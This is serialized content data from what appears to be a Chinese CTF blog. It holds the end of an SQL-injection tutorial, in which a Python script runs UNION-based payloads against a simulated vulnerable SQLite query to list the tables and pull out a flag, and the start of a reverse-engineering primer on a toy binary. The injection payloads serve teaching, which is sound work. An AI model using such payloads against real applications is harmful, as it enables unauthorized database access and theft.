SQL，建表并插入测试数据。\n",[29,1182,1183],{"class":31,"line":791},[29,1184,741],{"emptyLinePlaceholder":740},[29,1186,1187],{"class":31,"line":797},[29,1188,1189],{},"def query(id_):\n",[29,1191,1192],{"class":31,"line":803},[29,1193,1194],{},"    # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n",[29,1196,1197],{"class":31,"line":809},[29,1198,1199],{},"    cur = conn.cursor()\n",[29,1201,1202],{"class":31,"line":815},[29,1203,1204],{},"    # cursor()：创建游标对象，用于执行 SQL。\n",[29,1206,1207],{"class":31,"line":821},[29,1208,1209],{},"    try:\n",[29,1211,1212],{"class":31,"line":827},[29,1213,1214],{},"        cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n",[29,1216,1217],{"class":31,"line":833},[29,1218,1219],{},"        # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n",[29,1221,1222],{"class":31,"line":839},[29,1223,1224],{},"        return str(cur.fetchall())\n",[29,1226,1227],{"class":31,"line":845},[29,1228,1229],{},"        # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n",[29,1231,1232],{"class":31,"line":851},[29,1233,1234],{},"    except Exception as e:\n",[29,1236,1237],{"class":31,"line":857},[29,1238,1239],{},"        # 语法错误等异常会走到这里，模拟\"页面报错\"。\n",[29,1241,1242],{"class":31,"line":863},[29,1243,1244],{},"        return \"ERROR: \" + str(e)\n",[29,1246,1247],{"class":31,"line":869},[29,1248,741],{"emptyLinePlaceholder":740},[29,1250,1251],{"class":31,"line":875},[29,1252,1253],{},"print(query(\"1\"))\n",[29,1255,1257],{"class":31,"line":1256},28,[29,1258,1259],{},"print(query(\"1'\"))\n",[29,1261,1263],{"class":31,"line":1262},29,[29,1264,1265],{},"print(query(\"1 AND 1=1\"))\n",[29,1267,1269],{"class":31,"line":1268},30,[29,1270,1271],{},"print(query(\"1 AND 1=2\"))\n",[29,1273,1275],{"class":31,"line":1274},31,[29,1276,1277],{},"print(query(\"1 ORDER BY 3\"))\n",[29,1279,1281],{"class":31,"line":1280},32,[29,1282,1283],{},"print(query(\"-1 UNION SELECT 1,2,3-- \"))\n",[29,1285,1287],{"class":31,"line":1286},33,[29,1288,1289],{},"print(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\n",[29,1291,1293],{"class":31,"line":1292},34,[29,1294,1295],{},"print(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[15,1297,1298],{},"运行：",[19,1300,1302],{"className":82,"code":1301,"language":84,"meta":24,"style":24},"python3 sim.py\n",[26,1303,1304],{"__ignoreMap":24},[29,1305,1306,1309],{"class":31,"line":32},[29,1307,1308],{"class":91},"python3",[29,1310,1311],{"class":95}," sim.py\n",[15,1313,1314],{},"实际输出：",[19,1316,1319],{"className":1317,"code":1318,"language":300,"meta":24},[298],"[(1, 'hello', 'world')]\nERROR: unrecognized token: \"'\"\n[(1, 'hello', 'world')]\n[]\n[(1, 'hello', 'world')]\n[(1, 2, 3)]\n[(1, 'articles,flag', 3)]\n[(1, 'flag{sql_injection}', 3)]\n",[26,1320,1318],{"__ignoreMap":24},[15,1322,1323],{},"逐行对应：",[1325,1326,1327,1343],"table",{},[1328,1329,1330],"thead",{},[1331,1332,1333,1337,1340],"tr",{},[1334,1335,1336],"th",{},"输入",[1334,1338,1339],{},"输出",[1334,1341,1342],{},"结论",[1344,1345,1346,1360,1373,1385,1398,1411,1426,1439],"tbody",{},[1331,1347,1348,1354,1357],{},[1349,1350,1351],"td",{},[26,1352,1353],{},"1",[1349,1355,1356],{},"正常记录",[1349,1358,1359],{},"基线",[1331,1361,1362,1367,1370],{},[1349,1363,1364],{},[26,1365,1366],{},"1'",[1349,1368,1369],{},"语法错误",[1349,1371,1372],{},"注入点存在",[1331,1374,1375,1380,1382],{},[1349,1376,1377],{},[26,1378,1379],{},"1 AND 1=1",[1349,1381,1356],{},[1349,1383,1384],{},"条件真",[1331,1386,1387,1392,1395],{},[1349,1388,1389],{},[26,1390,1391],{},"1 AND 1=2",[1349,1393,1394],{},"空",[1349,1396,1397],{},"条件假",[1331,1399,1400,1405,1408],{},[1349,1401,1402],{},[26,1403,1404],{},"1 ORDER BY 3",[1349,1406,1407],{},"正常",[1349,1409,1410],{},"至少 3 列",[1331,1412,1413,1418,1423],{},[1349,1414,1415],{},[26,1416,1417],{},"-1 UNION SELECT 1,2,3",[1349,1419,1420],{},[26,1421,1422],{},"(1, 2, 3)",[1349,1424,1425],{},"3 列且回显",[1331,1427,1428,1431,1436],{},[1349,1429,1430],{},"查 sqlite_master",[1349,1432,1433],{},[26,1434,1435],{},"articles,flag",[1349,1437,1438],{},"表名（SQLite 的元数据表；MySQL 用 information_schema.tables）",[1331,1440,1441,1444,1448],{},[1349,1442,1443],{},"查 flag 表",[1349,1445,1446],{},[26,1447,640],{},[1349,1449,1450],{},"拿到 flag",[10,1452,1454],{"id":1453},"九小结","九、小结",[15,1456,1457,1458,1461],{},"SQL 注入主线：",[67,1459,1460],{},"判断注入点 → UNION 逐层拿数据（列数→库→表→列→数据）→ 盲注兜底 → sqlmap 加速 → 参数化防御","。练完 sqli-labs 前 10 关即可掌握全部内容。",[1463,1464,1465],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":24,"searchDepth":38,"depth":38,"links":1467},[1468,1469,1470,1471,1472,1473,1474,1475,1476],{"id":12,"depth":111,"text":13},{"id":73,"depth":111,"text":74},{"id":245,"depth":111,"text":246},{"id":409,"depth":111,"text":410},{"id":649,"depth":111,"text":650},{"id":920,"depth":111,"text":921},{"id":1042,"depth":111,"text":1043},{"id":1106,"depth":111,"text":1107},{"id":1453,"depth":111,"text":1454},"SQL 注入环境搭建、注入点判断、UNION 五步拖库、盲注脚本、sqlmap 自动化、参数化防御。","md",{"date":1480,"image":1481,"alt":1482,"tags":1483,"published":740},"14th Aug 2026","/blogs-img/blog5.png","SQL 注入深入实战",[550,1484,1485,1486],"web","sql注入","example","/blogs/ctf-web-sql-injection-deep-dive",{"title":5,"description":1477},"blogs/14. ctf-web-sql-injection-deep-dive","ayEbnZAfIhYBpMrKx07Y9pgkSt5Y7VQ7rhq2f05H6Ns",[1492,2813,3686,4684,5641,6729,7788,8740,9838,10875,11854,12876],{"id":1493,"title":1494,"body":1495,"description":2803,"extension":1478,"meta":2804,"navigation":740,"ogImage":2805,"path":2809,"seo":2810,"stem":2811,"__hash__":2812},"content/blogs/10. ctf-reverse-overview.md","CTF 逆向入门：侦查、反汇编与 GDB 调试",{"type":7,"value":1496,"toc":2793},[1497,1501,1504,1507,1556,1559,1563,1566,1594,1601,1605,1610,1615,1619,1622,1635,1637,1643,1654,1659,1663,1665,1677,1679,1685,1695,1712,1715,1720,1744,1748,1760,1765,1777,1782,1787,1791,1796,1813,1817,1819,1840,1843,1882,1884,1941,1944,1998,2005,2025,2029,2062,2065,2085,2092,2108,2112,2132,2134,2140,2150,2163,2167,2170,2231,2234,2257,2260,2286,2289,2293,2296,2301,2310,2322,2325,2329,2339,2341,2347,2351,2360,2362,2368,2371,2375,2384,2387,2391,2400,2406,2415,2418,2442,2449,2462,2465,2471,2474,2480,2484,2565,2575,2579,2586,2590,2595,2608,2624,2630,2634,2639,2648,2654,2663,2667,2672,2681,2746,2748,2754,2758,2771,2775,2779,2790],[10,1498,1500],{"id":1499},"一现实背景为什么需要逆向","一、现实背景：为什么需要逆向",[15,1502,1503],{},"商业软件只发布编译后的二进制文件，不发布源码。恶意软件分析、漏洞研究、授权校验分析都依赖逆向。CTF 逆向题最常见的形式：程序读取一个输入，判断对不对，对就输出 flag；不给你源码，只给你编译好的文件。",[15,1505,1506],{},"目标程序示例：",[19,1508,1510],{"className":82,"code":1509,"language":84,"meta":24,"style":24},"$ ./checkflag\nUsage: ./checkflag \u003Cflag>\n$ ./checkflag test\nWrong!\n",[26,1511,1512,1520,1542,1551],{"__ignoreMap":24},[29,1513,1514,1517],{"class":31,"line":32},[29,1515,1516],{"class":91},"$",[29,1518,1519],{"class":95}," ./checkflag\n",[29,1521,1522,1525,1528,1532,1535,1539],{"class":31,"line":38},[29,1523,1524],{"class":91},"Usage:",[29,1526,1527],{"class":95}," ./checkflag",[29,1529,1531],{"class":1530},"s0Tla"," \u003C",[29,1533,1534],{"class":95},"fla",[29,1536,1538],{"class":1537},"sCdxs","g",[29,1540,1541],{"class":1530},">\n",[29,1543,1544,1546,1548],{"class":31,"line":111},[29,1545,1516],{"class":91},[29,1547,1527],{"class":95},[29,1549,1550],{"class":95}," test\n",[29,1552,1553],{"class":31,"line":157},[29,1554,1555],{"class":91},"Wrong!\n",[15,1557,1558],{},"解题目标：通过分析二进制，找出正确输入。",[10,1560,1562],{"id":1561},"二环境准备","二、环境准备",[15,1564,1565],{},"在 Linux（Kali/Ubuntu）上：",[19,1567,1569],{"className":82,"code":1568,"language":84,"meta":24,"style":24},"apt install file binutils gdb ltrace strace\n",[26,1570,1571],{"__ignoreMap":24},[29,1572,1573,1576,1579,1582,1585,1588,1591],{"class":31,"line":32},[29,1574,1575],{"class":91},"apt",[29,1577,1578],{"class":95}," install",[29,1580,1581],{"class":95}," file",[29,1583,1584],{"class":95}," binutils",[29,1586,1587],{"class":95}," gdb",[29,1589,1590],{"class":95}," ltrace",[29,1592,1593],{"class":95}," strace\n",[15,1595,1596,1597,1600],{},"本文以编译后的 ",[26,1598,1599],{},"checkflag"," 为例，逐步演示。",[10,1602,1604],{"id":1603},"三核心步骤-1侦查","三、核心步骤 1：侦查",[15,1606,1607,1609],{},[67,1608,251],{},"：在不运行程序的情况下，先收集\"程序是什么、里面写了什么字符串\"。",[15,1611,1612,1614],{},[67,1613,261],{},"：程序类型决定用什么工具（ELF 用 objdump，PE 用其他）；字符串往往直接暴露提示、密钥甚至 flag。先做最便宜的三件事，通常能直接定位简单题。",[76,1616,1618],{"id":1617},"_31-file看文件类型","3.1 file：看文件类型",[15,1620,1621],{},"输入：",[19,1623,1625],{"className":82,"code":1624,"language":84,"meta":24,"style":24},"file checkflag\n",[26,1626,1627],{"__ignoreMap":24},[29,1628,1629,1632],{"class":31,"line":32},[29,1630,1631],{"class":91},"file",[29,1633,1634],{"class":95}," checkflag\n",[15,1636,294],{},[19,1638,1641],{"className":1639,"code":1640,"language":300,"meta":24},[298],"checkflag: ELF 64-bit LSB pie executable, x86-64, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped\n",[26,1642,1640],{"__ignoreMap":24},[15,1644,1645,1646,1649,1650,1653],{},"重点看最后：",[26,1647,1648],{},"not stripped"," 表示符号表还在，函数名（main、check）可见；如果是 ",[26,1651,1652],{},"stripped","，函数名被删，难度更高。",[15,1655,1656,1658],{},[67,1657,251],{},"：确认我们面对的是 ELF 还是 PE、多少位、是否被 strip。这决定后续用 objdump 还是其他工具，以及能否直接看到函数名。",[76,1660,1662],{"id":1661},"_32-strings提取字符串","3.2 strings：提取字符串",[15,1664,1621],{},[19,1666,1668],{"className":82,"code":1667,"language":84,"meta":24,"style":24},"strings checkflag\n",[26,1669,1670],{"__ignoreMap":24},[29,1671,1672,1675],{"class":31,"line":32},[29,1673,1674],{"class":91},"strings",[29,1676,1634],{"class":95},[15,1678,294],{},[19,1680,1683],{"className":1681,"code":1682,"language":300,"meta":24},[298],"/lib64/ld-linux-x86-64.so.2\nUsage: ./checkflag \u003Cflag>\nCorrect!\nWrong!\n",[26,1684,1682],{"__ignoreMap":24},[15,1686,1687,1688,1690,1691,1694],{},"三个提示字符串都出来了，但还没有 flag。注意 ",[26,1689,1674],{}," 默认只显示长度 ≥ 4 的字符串，短字符串用 ",[26,1692,1693],{},"-n"," 指定：",[19,1696,1698],{"className":82,"code":1697,"language":84,"meta":24,"style":24},"strings -n 3 checkflag\n",[26,1699,1700],{"__ignoreMap":24},[29,1701,1702,1704,1707,1710],{"class":31,"line":32},[29,1703,1674],{"class":91},[29,1705,1706],{"class":116}," -n",[29,1708,1709],{"class":116}," 3",[29,1711,1634],{"class":95},[15,1713,1714],{},"如果程序用 XOR 加密了 flag，strings 只能看到提示，看不到明文，需要继续分析。",[15,1716,1717,1719],{},[67,1718,251],{},"：把文件里所有可打印字符串列出来，找\"提示/密钥/硬编码密文\"。",[15,1721,1722,1724,1725,1728,1729,1728,1732,1735,1736,1739,1740,1743],{},[67,1723,261],{},"：输出里的 ",[26,1726,1727],{},"Usage: ./checkflag \u003Cflag>","、",[26,1730,1731],{},"Correct!",[26,1733,1734],{},"Wrong!"," 说明这是个接收参数的校验程序；如果看到可疑短串（如 ",[26,1737,1738],{},"k3y","），先用 ",[26,1741,1742],{},"-n 3"," 确认——可能正是加密密钥。",[76,1745,1747],{"id":1746},"_33-运行程序观察行为","3.3 运行程序观察行为",[19,1749,1751],{"className":82,"code":1750,"language":84,"meta":24,"style":24},"./checkflag test\n",[26,1752,1753],{"__ignoreMap":24},[29,1754,1755,1758],{"class":31,"line":32},[29,1756,1757],{"class":91},"./checkflag",[29,1759,1550],{"class":95},[15,1761,1762,1763,127],{},"输出：",[26,1764,1734],{},[19,1766,1768],{"className":82,"code":1767,"language":84,"meta":24,"style":24},"./checkflag AAAAAAAAAAAAAAAAAAAAAAAA\n",[26,1769,1770],{"__ignoreMap":24},[29,1771,1772,1774],{"class":31,"line":32},[29,1773,1757],{"class":91},[29,1775,1776],{"class":95}," AAAAAAAAAAAAAAAAAAAAAAAA\n",[15,1778,1762,1779,1781],{},[26,1780,1734],{},"。行为确认：带一个参数，对就 Correct，错就 Wrong。",[15,1783,1784,1786],{},[67,1785,251],{},"：确认输入输出格式（参数个数、提示文字），为后续在反汇编里找\"打印 Correct 的分支\"做准备。",[10,1788,1790],{"id":1789},"四核心步骤-2反汇编","四、核心步骤 2：反汇编",[15,1792,1793,1795],{},[67,1794,251],{},"：找到程序\"判断对错\"的那段代码，弄清校验逻辑。",[15,1797,1798,1800,1801,1804,1805,1808,1809,1812],{},[67,1799,261],{},"：程序要么比较字符串（",[26,1802,1803],{},"strcmp","），要么逐字节运算（XOR 等）。反汇编里找 ",[26,1806,1807],{},"call","（函数调用）和 ",[26,1810,1811],{},"je/jne","（条件跳转）就能定位判断点。",[76,1814,1816],{"id":1815},"_41-objdump-看-main","4.1 objdump 看 main",[15,1818,1621],{},[19,1820,1822],{"className":82,"code":1821,"language":84,"meta":24,"style":24},"objdump -d -M intel checkflag\n",[26,1823,1824],{"__ignoreMap":24},[29,1825,1826,1829,1832,1835,1838],{"class":31,"line":32},[29,1827,1828],{"class":91},"objdump",[29,1830,1831],{"class":116}," -d",[29,1833,1834],{"class":116}," -M",[29,1836,1837],{"class":95}," intel",[29,1839,1634],{"class":95},[15,1841,1842],{},"输出很长，用 grep 只看 main：",[19,1844,1846],{"className":82,"code":1845,"language":84,"meta":24,"style":24},"objdump -d -M intel checkflag | grep -A 40 '\u003Cmain>'\n",[26,1847,1848],{"__ignoreMap":24},[29,1849,1850,1852,1854,1856,1858,1861,1864,1867,1870,1873,1876,1879],{"class":31,"line":32},[29,1851,1828],{"class":91},[29,1853,1831],{"class":116},[29,1855,1834],{"class":116},[29,1857,1837],{"class":95},[29,1859,1860],{"class":95}," checkflag",[29,1862,1863],{"class":1530}," |",[29,1865,1866],{"class":91}," grep",[29,1868,1869],{"class":116}," -A",[29,1871,1872],{"class":116}," 40",[29,1874,1875],{"class":284}," '",[29,1877,1878],{"class":95},"\u003Cmain>",[29,1880,1881],{"class":284},"'\n",[15,1883,961],{},[19,1885,1889],{"className":1886,"code":1887,"language":1888,"meta":24,"style":24},"language-asm shiki shiki-themes dracula","0000000000001189 \u003Cmain>:\n    1189:  push   rbp\n    118a:  mov    rbp, rsp\n    1191:  cmp    edi, 0x2\n    1194:  jne    0x11a0\n    119e:  call   0x1149 \u003Ccheck>\n    11a3:  test   eax, eax\n    11a5:  je     0x11b5\n    11a7:  lea    rdi, [rip+0x2ea]\n    11ae:  call   puts@plt\n","asm",[26,1890,1891,1896,1901,1906,1911,1916,1921,1926,1931,1936],{"__ignoreMap":24},[29,1892,1893],{"class":31,"line":32},[29,1894,1895],{},"0000000000001189 \u003Cmain>:\n",[29,1897,1898],{"class":31,"line":38},[29,1899,1900],{},"    1189:  push   rbp\n",[29,1902,1903],{"class":31,"line":111},[29,1904,1905],{},"    118a:  mov    rbp, rsp\n",[29,1907,1908],{"class":31,"line":157},[29,1909,1910],{},"    1191:  cmp    edi, 0x2\n",[29,1912,1913],{"class":31,"line":163},[29,1914,1915],{},"    1194:  jne    0x11a0\n",[29,1917,1918],{"class":31,"line":169},[29,1919,1920],{},"    119e:  call   0x1149 \u003Ccheck>\n",[29,1922,1923],{"class":31,"line":215},[29,1924,1925],{},"    11a3:  test   eax, eax\n",[29,1927,1928],{"class":31,"line":221},[29,1929,1930],{},"    11a5:  je     0x11b5\n",[29,1932,1933],{"class":31,"line":227},[29,1934,1935],{},"    11a7:  lea    rdi, [rip+0x2ea]\n",[29,1937,1938],{"class":31,"line":773},[29,1939,1940],{},"    11ae:  call   puts@plt\n",[15,1942,1943],{},"逐行解释：",[1325,1945,1946,1956],{},[1328,1947,1948],{},[1331,1949,1950,1953],{},[1334,1951,1952],{},"指令",[1334,1954,1955],{},"含义",[1344,1957,1958,1968,1978,1988],{},[1331,1959,1960,1965],{},[1349,1961,1962],{},[26,1963,1964],{},"cmp edi, 0x2",[1349,1966,1967],{},"比较参数个数 argc 是否为 2",[1331,1969,1970,1975],{},[1349,1971,1972],{},[26,1973,1974],{},"call check",[1349,1976,1977],{},"调用校验函数 check",[1331,1979,1980,1985],{},[1349,1981,1982],{},[26,1983,1984],{},"test eax, eax",[1349,1986,1987],{},"检查返回值是否为 0",[1331,1989,1990,1995],{},[1349,1991,1992],{},[26,1993,1994],{},"je 0x11b5",[1349,1996,1997],{},"为 0 则跳到打印 Wrong 的地方",[15,1999,2000,2001,2004],{},"结论：逻辑在 ",[26,2002,2003],{},"check"," 函数里。",[15,2006,2007,178,2010,2012,2013,2015,2016,2019,2020,2022,2023,127],{},[67,2008,2009],{},"怎么想到看 check",[26,2011,1974],{}," 之后紧跟 ",[26,2014,1984],{}," 和 ",[26,2017,2018],{},"je","，这是典型的\"函数返回结果决定分支\"结构——",[26,2021,2003],{}," 的返回值非 0 才打印 Correct。所以下一步只看 ",[26,2024,2003],{},[76,2026,2028],{"id":2027},"_42-看-check","4.2 看 check",[19,2030,2032],{"className":82,"code":2031,"language":84,"meta":24,"style":24},"objdump -d -M intel checkflag | grep -A 50 '\u003Ccheck>'\n",[26,2033,2034],{"__ignoreMap":24},[29,2035,2036,2038,2040,2042,2044,2046,2048,2050,2052,2055,2057,2060],{"class":31,"line":32},[29,2037,1828],{"class":91},[29,2039,1831],{"class":116},[29,2041,1834],{"class":116},[29,2043,1837],{"class":95},[29,2045,1860],{"class":95},[29,2047,1863],{"class":1530},[29,2049,1866],{"class":91},[29,2051,1869],{"class":116},[29,2053,2054],{"class":116}," 50",[29,2056,1875],{"class":284},[29,2058,2059],{"class":95},"\u003Ccheck>",[29,2061,1881],{"class":284},[15,2063,2064],{},"如果看到：",[19,2066,2068],{"className":1886,"code":2067,"language":1888,"meta":24,"style":24},"call   strcmp@plt\ntest   eax, eax\nje     ...\n",[26,2069,2070,2075,2080],{"__ignoreMap":24},[29,2071,2072],{"class":31,"line":32},[29,2073,2074],{},"call   strcmp@plt\n",[29,2076,2077],{"class":31,"line":38},[29,2078,2079],{},"test   eax, eax\n",[29,2081,2082],{"class":31,"line":111},[29,2083,2084],{},"je     ...\n",[15,2086,2087,2088,2091],{},"说明是字符串比较，flag 就藏在 ",[26,2089,2090],{},".rodata"," 里。",[15,2093,2094,178,2097,2100,2101,2104,2105,2107],{},[67,2095,2096],{},"验证方式",[26,2098,2099],{},"call strcmp@plt"," 前面通常有一条 ",[26,2102,2103],{},"lea rsi, [rip+...]"," 把要比较的字符串地址装进 rsi。记下那个地址，去 ",[26,2106,2090],{}," 里找内容即可。",[76,2109,2111],{"id":2110},"_43-看只读数据段","4.3 看只读数据段",[19,2113,2115],{"className":82,"code":2114,"language":84,"meta":24,"style":24},"objdump -s -j .rodata checkflag\n",[26,2116,2117],{"__ignoreMap":24},[29,2118,2119,2121,2124,2127,2130],{"class":31,"line":32},[29,2120,1828],{"class":91},[29,2122,2123],{"class":116}," -s",[29,2125,2126],{"class":116}," -j",[29,2128,2129],{"class":95}," .rodata",[29,2131,1634],{"class":95},[15,2133,294],{},[19,2135,2138],{"className":2136,"code":2137,"language":300,"meta":24},[298],"...\n 402000 636f6e67726174756c6174696f6e73 00   \"congratulations\"\n",[26,2139,2137],{"__ignoreMap":24},[15,2141,2142,2143,2146,2147,127],{},"ASCII 十六进制 ",[26,2144,2145],{},"63 6f 6e 67..."," 解出来就是 ",[26,2148,2149],{},"congratulations",[15,2151,2152,2155,2156,2158,2159,2162],{},[67,2153,2154],{},"为什么 flag 会在 .rodata","：字符串常量编译后存放在只读数据段 ",[26,2157,2090],{},"，",[26,2160,2161],{},"objdump -s"," 直接按字节显示，右侧还附了 ASCII 明文。",[76,2164,2166],{"id":2165},"_44-用-ghidra-反编译更省力","4.4 用 Ghidra 反编译（更省力）",[15,2168,2169],{},"Ghidra 是 NSA 开源的免费反编译器。安装：",[19,2171,2173],{"className":82,"code":2172,"language":84,"meta":24,"style":24},"apt install openjdk-21-jdk unzip\nwget https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_*.zip\nunzip ghidra_*.zip\ncd ghidra_*_PUBLIC && ./ghidraRun\n",[26,2174,2175,2187,2202,2214],{"__ignoreMap":24},[29,2176,2177,2179,2181,2184],{"class":31,"line":32},[29,2178,1575],{"class":91},[29,2180,1578],{"class":95},[29,2182,2183],{"class":95}," openjdk-21-jdk",[29,2185,2186],{"class":95}," unzip\n",[29,2188,2189,2192,2195,2199],{"class":31,"line":38},[29,2190,2191],{"class":91},"wget",[29,2193,2194],{"class":95}," https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_",[29,2196,2198],{"class":2197},"sqerP","*",[29,2200,2201],{"class":95},".zip\n",[29,2203,2204,2207,2210,2212],{"class":31,"line":111},[29,2205,2206],{"class":91},"unzip",[29,2208,2209],{"class":95}," ghidra_",[29,2211,2198],{"class":2197},[29,2213,2201],{"class":95},[29,2215,2216,2218,2220,2222,2225,2228],{"class":31,"line":157},[29,2217,105],{"class":104},[29,2219,2209],{"class":95},[29,2221,2198],{"class":2197},[29,2223,2224],{"class":95},"_PUBLIC",[29,2226,2227],{"class":1537}," && ",[29,2229,2230],{"class":91},"./ghidraRun\n",[15,2232,2233],{},"操作步骤：",[2235,2236,2237,2241,2247,2250],"ol",{},[2238,2239,2240],"li",{},"File → New Project → 命名。",[2238,2242,2243,2244,2246],{},"把 ",[26,2245,1599],{}," 拖进项目，双击导入。",[2238,2248,2249],{},"等待自动分析完成。",[2238,2251,2252,2253,2256],{},"左侧 Symbol Tree 双击 ",[26,2254,2255],{},"main","，右侧 Decompiler 显示伪代码。",[15,2258,2259],{},"预期伪代码：",[19,2261,2264],{"className":2262,"code":2263,"language":684,"meta":24,"style":24},"language-c shiki shiki-themes dracula","if (strcmp(argv[1], \"congratulations\") == 0)\n    puts(\"Correct!\");\nelse\n    puts(\"Wrong!\");\n",[26,2265,2266,2271,2276,2281],{"__ignoreMap":24},[29,2267,2268],{"class":31,"line":32},[29,2269,2270],{},"if (strcmp(argv[1], \"congratulations\") == 0)\n",[29,2272,2273],{"class":31,"line":38},[29,2274,2275],{},"    puts(\"Correct!\");\n",[29,2277,2278],{"class":31,"line":111},[29,2279,2280],{},"else\n",[29,2282,2283],{"class":31,"line":157},[29,2284,2285],{},"    puts(\"Wrong!\");\n",[15,2287,2288],{},"flag 直接可见。",[10,2290,2292],{"id":2291},"五核心步骤-3gdb-动态调试","五、核心步骤 3：GDB 动态调试",[15,2294,2295],{},"静态分析看不懂时，让程序跑起来。",[15,2297,2298,2300],{},[67,2299,251],{},"：在真实执行现场观察\"比较发生时寄存器里到底装了什么\"。",[15,2302,2303,2305,2306,2309],{},[67,2304,261],{},"：下断点停在 check 入口 → 带参数运行 → 单步走到 ",[26,2307,2308],{},"call strcmp"," → 查看 rsi（第二个参数）指向的字符串，那就是程序期望的 flag。",[19,2311,2313],{"className":82,"code":2312,"language":84,"meta":24,"style":24},"gdb ./checkflag\n",[26,2314,2315],{"__ignoreMap":24},[29,2316,2317,2320],{"class":31,"line":32},[29,2318,2319],{"class":91},"gdb",[29,2321,1519],{"class":95},[15,2323,2324],{},"进入 GDB 交互后：",[76,2326,2328],{"id":2327},"_51-下断点","5.1 下断点",[19,2330,2333],{"className":2331,"code":2332,"language":2319,"meta":24,"style":24},"language-gdb shiki shiki-themes dracula","(gdb) break check\n",[26,2334,2335],{"__ignoreMap":24},[29,2336,2337],{"class":31,"line":32},[29,2338,2332],{},[15,2340,294],{},[19,2342,2345],{"className":2343,"code":2344,"language":300,"meta":24},[298],"Breakpoint 1 at 0x1149\n",[26,2346,2344],{"__ignoreMap":24},[76,2348,2350],{"id":2349},"_52-带参数运行","5.2 带参数运行",[19,2352,2354],{"className":2331,"code":2353,"language":2319,"meta":24,"style":24},"(gdb) run test\n",[26,2355,2356],{"__ignoreMap":24},[29,2357,2358],{"class":31,"line":32},[29,2359,2353],{},[15,2361,294],{},[19,2363,2366],{"className":2364,"code":2365,"language":300,"meta":24},[298],"Breakpoint 1, 0x0000555555555149 in check ()\n",[26,2367,2365],{"__ignoreMap":24},[15,2369,2370],{},"程序停在 check 入口。",[76,2372,2374],{"id":2373},"_53-查看即将执行的指令","5.3 查看即将执行的指令",[19,2376,2378],{"className":2331,"code":2377,"language":2319,"meta":24,"style":24},"(gdb) x/20i $rip\n",[26,2379,2380],{"__ignoreMap":24},[29,2381,2382],{"class":31,"line":32},[29,2383,2377],{},[15,2385,2386],{},"输出 check 函数开头的 20 条汇编。",[76,2388,2390],{"id":2389},"_54-单步并观察比较","5.4 单步并观察比较",[19,2392,2394],{"className":2331,"code":2393,"language":2319,"meta":24,"style":24},"(gdb) stepi\n",[26,2395,2396],{"__ignoreMap":24},[29,2397,2398],{"class":31,"line":32},[29,2399,2393],{},[15,2401,2402,2403,2405],{},"反复执行直到看到 ",[26,2404,2099],{},"。然后：",[19,2407,2409],{"className":2331,"code":2408,"language":2319,"meta":24,"style":24},"(gdb) x/s $rsi\n",[26,2410,2411],{"__ignoreMap":24},[29,2412,2413],{"class":31,"line":32},[29,2414,2408],{},[15,2416,2417],{},"预期输出：程序正在比较的字符串，即 flag。",[15,2419,2420,178,2423,2426,2427,2430,2431,2434,2435,2426,2438,2441],{},[67,2421,2422],{},"补充说明",[26,2424,2425],{},"x/s"," 的 ",[26,2428,2429],{},"s"," 表示按字符串显示；",[26,2432,2433],{},"$rsi"," 是 x86-64 的第 2 个参数寄存器，",[26,2436,2437],{},"strcmp(a, b)",[26,2439,2440],{},"b"," 就存在这里。",[15,2443,2444,2445,2448],{},"补充：如果嫌 GDB 麻烦，",[26,2446,2447],{},"ltrace"," 直接跟踪库调用：",[19,2450,2452],{"className":82,"code":2451,"language":84,"meta":24,"style":24},"ltrace ./checkflag test\n",[26,2453,2454],{"__ignoreMap":24},[29,2455,2456,2458,2460],{"class":31,"line":32},[29,2457,2447],{"class":91},[29,2459,1527],{"class":95},[29,2461,1550],{"class":95},[15,2463,2464],{},"预期输出中会出现：",[19,2466,2469],{"className":2467,"code":2468,"language":300,"meta":24},[298],"strcmp(\"test\", \"congratulations\") = 1\n",[26,2470,2468],{"__ignoreMap":24},[15,2472,2473],{},"flag 一目了然。",[15,2475,2476,2479],{},[67,2477,2478],{},"ltrace 的原理","：它拦截并打印程序对共享库函数的调用，包括参数值。遇到 strcmp 类题目比 GDB 快得多，但不能用来调试自己写的代码。",[10,2481,2483],{"id":2482},"六必学工具","六、必学工具",[1325,2485,2486,2499],{},[1328,2487,2488],{},[1331,2489,2490,2493,2496],{},[1334,2491,2492],{},"工具",[1334,2494,2495],{},"核心功能",[1334,2497,2498],{},"命令示例",[1344,2500,2501,2513,2531,2546],{},[1331,2502,2503,2505,2508],{},[1349,2504,1631],{},[1349,2506,2507],{},"看类型、位数、是否 stripped",[1349,2509,2510],{},[26,2511,2512],{},"file checkflag",[1331,2514,2515,2517,2520],{},[1349,2516,1674],{},[1349,2518,2519],{},"提取字符串、指定最小长度、管道过滤",[1349,2521,2522,1728,2525,1728,2528],{},[26,2523,2524],{},"strings checkflag",[26,2526,2527],{},"strings -n 3 a",[26,2529,2530],{},"strings a | grep flag",[1331,2532,2533,2535,2538],{},[1349,2534,1828],{},[1349,2536,2537],{},"反汇编、看数据段、Intel 语法",[1349,2539,2540,1728,2543],{},[26,2541,2542],{},"objdump -d -M intel a",[26,2544,2545],{},"objdump -s -j .rodata 